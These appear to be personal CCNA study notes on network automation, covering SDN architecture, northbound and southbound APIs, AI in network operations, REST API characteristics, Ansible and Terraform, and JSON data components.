  In modern networking, especially in large-scale environments, traditional networking models are evolving towards controller-based and software-defined architectures to achieve better scalability, flexibility, and automation. The control plane is responsible for making decisions about how data packets should be forwarded through the network. It manages routing protocols, determines the best path for data packets, and updates routing tables. The data plane (forwarding plane) is responsible for the actual forwarding of data packets based on the decisions made by the control plane. It handles packet switching and forwarding based on predefined rules (like access control lists and routing tables). Separating the control plane from the data plane allows for centralized management and decision-making in software-defined networks (SDNs). This separation enables network administrators to manage network traffic flows and optimize network performance more efficiently.

  Northbound APIs are interfaces that allow applications and higher-level software to communicate with the SDN controller. These APIs abstract the complexity of the underlying network infrastructure, providing a standardized way for applications to request network services and retrieve network status information. Southbound APIs are interfaces used by the SDN controller to communicate with network devices and elements in the underlying physical or virtual network infrastructure. These APIs translate the high-level network policies and configurations from the controller into specific instructions that network devices understand and execute. Northbound APIs enable integration with external applications such as network management systems, orchestration platforms, and monitoring tools. They facilitate programmability and automation of network operations, allowing organizations to implement policies dynamically and respond to changing network conditions in real-time. Southbound APIs, on the other hand, enable the controller to configure network devices, gather network statistics, and control traffic forwarding paths based on the decisions made by the centralized controller.

In SDN, an overlay network abstracts the physical network infrastructure by creating virtual networks that operate on top of the existing network. Overlay networks provide logical connectivity and services independent of the physical network's topology and capabilities. Virtual networks created through overlays allow for more flexible and dynamic provisioning of network services. The underlay network refers to the physical infrastructure that provides transport for overlay networks. It includes routers, switches, and physical links that form the foundation on which overlay networks are built. The underlay network provides the necessary connectivity and bandwidth to support the overlay networks' operations. A fabric in networking refers to a high-performance, resilient network architecture that provides connectivity between devices within a data center or across multiple sites. Fabric networks are typically built using high-speed, low-latency switches and routers that are interconnected to create a unified and scalable network infrastructure. In SDN, fabric networks provide the physical underlay and connectivity foundation upon which overlay networks and SDN controllers operate.

- **Explain AI (generative and predictive) and machine learning in network operations**

  Generative AI involves systems capable of creating new content, data, or solutions based on patterns learned from existing data. Generative AI can optimize network topologies based on parameters like performance requirements, scalability, and redundancy. It can automate the configuration process for devices and services. It can leverage NLP for natrual language quireies, interpretting logs, and support tickets. This enables automated responses, troubleshooting advice, and root cause analysis.

  Predictive AI focuses on forecasting future outcomes based on historical data and patterns. In networking operations, predictive AI enhances decision-making and proactice management. Algorithms analyze network equipment performance data (latency, packet loss, and hardware metrics) to predict potential failures or degradation. This allows for proactive maintenance and minimizes downtime. Models can detect anomalies in network traffic patterns that may indicate security threats, such as DDOS attacks, malware infiltration, or unauthorized access attempts. By analyzing historical attack data and network vulnerabilities, predictive AI can forecast potential security threats and recommend preemptive measures.

  Limitations of generative AI: complexity and accuracy, interpretability, resouce intensiveness, adaptability to dynamic environments, ethical and security concerns
  Generative AI models may struggle with the complexity of network configurations and interactions, especially in large-scale and heterogeneous networks.
  Accuracy in generating optimal network designs or configurations requires

extensive training data and robust algorithms.
Understanding and interpreting outputs from generative AI models can be challenging. It may be difficult to explain why a specific network design or configuration was chosen by the AI.
Training and running generative AI models often require significant computational resources and time. This can be impractical for real-time or near-real-time network management tasks.
Generative AI models may struggle to adapt quickly to dynamic changes in network conditions, such as fluctuating traffic patterns or new technology integrations.
AI-generated network configurations or optimizations may introduce vulnerabilities if not thoroughly tested or validated. Security implications of AI-generated decisions must be carefully assessed. (cat and mouse game)

Limitations of predictive AI data quality and availability, prediction uncertainty, complexity of network interactions, scalability and generalization, human expertise and validation: Predictive AI models heavily rely on historical data for accurate forecasting. Poor data quality or insufficient historical data can lead to inaccurate predictions.
Network environments may have varying data quality and consistency, affecting the reliability of predictions.
Predictive AI models may struggle with uncertainty and variability in network behaviors, especially during unforeseen events or unusual network conditions.
Overfitting to historical data or underfitting to new patterns can lead to inaccurate predictions.
Predictive AI models may oversimplify network interactions and dependencies, leading to incomplete or inaccurate predictions of performance or security risks.
Capturing the full complexity of network dynamics, including interactions between devices, protocols, and applications, remains a challenge.
Scaling predictive AI models to large and diverse network environments while maintaining accuracy and performance can be difficult.
Generalizing predictive models across different types of networks or organizational contexts may require extensive customization and validation.
Despite advancements in AI, human expertise and validation are essential for interpreting predictions, validating recommendations, and making informed decisions in network operations.

Mitigating Strategies: data governance, hybrid approches, continuous learning, robust testing and validation, ethical considerations

- **Describe characteristics of REST-based APIs (authentication types, CRUD, HTTP verbs, and data encoding)**

  Representational State Transfer: stateless, client-server architecture, uniform interface, resource-based, state transfer, cacheability, layered system, code-on-demand (OPTIONAL)

Authentication in REST-based APIs can be implemented in various ways:
HTTP Basic Authentication: This involves sending the username and password with each request using the 'authorization' header. It's simple but less secure because credentials are sent in plaintext.
HTTP Digest Authentication: Similar to Basic Authentication but hashes the credentials to improve security.
Token-based Authentication (JWT): Tokens are issued after initial authentication and are sent with each subsequent request. JWT (JSON Web Token) is a popular choice due to its compact size and ability to contain user information.
OAuth: OAuth 2.0 is widely used for delegated authorization, allowing third-party applications to access resources on behalf of a user without exposing their credentials.
API Keys: A simple form of authentication where an API key (a unique identifier) is included in the request header or URL query parameters.

HTTP verbs nicely map onto CRUD operations
GET: retrieves data from the server
POST: submits data to be processed to the server
PUT: updates data on the server (replacing existing data)
PATCH: updates data on the server (partially modifying existing data)
DELETE: removes data from the server

Data Encoding: converting structured data or objects into a format that can be easily stored, transmitted, or reconstructed later. (saving data to disk, sending it over a network, sharing is between systems)
JavaScript Objext Notation (JSON) is a lightweight data interchange format that is easy for humans to read and write, and easy for machines to parse and generate.
eXtensible Markup Language (XML) provides a hierarchical structure and is used for structued data representation. It allows defining custom data types and structures.
Binary Formats like Protocol Buffers (protobuf), MessagePack, and BSON are optimized for compactness and efficient serialization/deserialization.

- **Recognize the capabilities of configuration management mechanisms, such as Ansible and Terraform**

Ansible is an open-source automation tool used for configuration management application deployment, task automation, and orchestration.
Ansible operates over SSH, so there is no need to install an agent on devices. Ansible uses YAML (serializatoin language) for writing playbooks, which define tasks and configurations to be executed on remote systems. Ansible itself interprets the YAML playbook and executes task using modules and plugins. YAML itself does not contain executable code, its structured nature and readability make it a versatile choice for defining configurations, workflows, and data representations that can be interpreted

and acted upon by other software systems or automation tools. Ansible is idempotent so if the system is already in the desired state, running the playbook again will not cause any changes. It is extensible so modules can be custom-written to support various tasks and systems.

Terraform is an open-source infrastructure as code (IaC) tool used for defining and provisioning infrastructure across multiple cloud providers. Infrastructure is defined in configuration files using HashiCorp Configuration Language (HCL) or JSON. Terraform builds a dependency graph of resources and manages them accordingly. It supports provisioning resources across various cloud providers like AWS, Azure, Google Cloud, etc. Terraform keeps track of the state of the infrastructure allowing for updates and modifications without downtime.

- **Recognize components of JSON-encoded data**

  An object in JSON is enclosed in curly braces '' and consists of key-value pairs. Keys must be strings, and values can be any valid JSON data type (string, number, object, array, boolean, null)

  strings will be a sequence of characters enclosed in double quotes '"'"

  JSON does not differentiate between integers and floating-point numbers in terms of syntax; it treats all numbers as numeric values.

  booleans are either 'true' or 'false'

  arrays are on ordered collection of values, enclosed in square brackets '[]'. Arrays can contain values of any JSON data type, including other arrays (nested arrays).

  Null represents an empty or null value.

  NOTE: JSON itself is not a programming language and does not have the extensive type system that programming languages do (such as strongly-typed or dynamically-typed systems). Instead, JSON defines a set of data structures and rules for representing data in a way that is both human-readable and machine-parseable. This simplicity and flexibility make JSON widely used for data interchange between systems, especially in web dev and APIs.

The information found in this document was obtained from the following resources:

- *CCNA 200-301 Volume 1&2 Official Cert Guide: Advance your IT career with hands-on learning* by Wendell Odom
- https://www.youtube.com/@JeremysITLab
- https://study-ccna.com/
- https://chatgpt.com/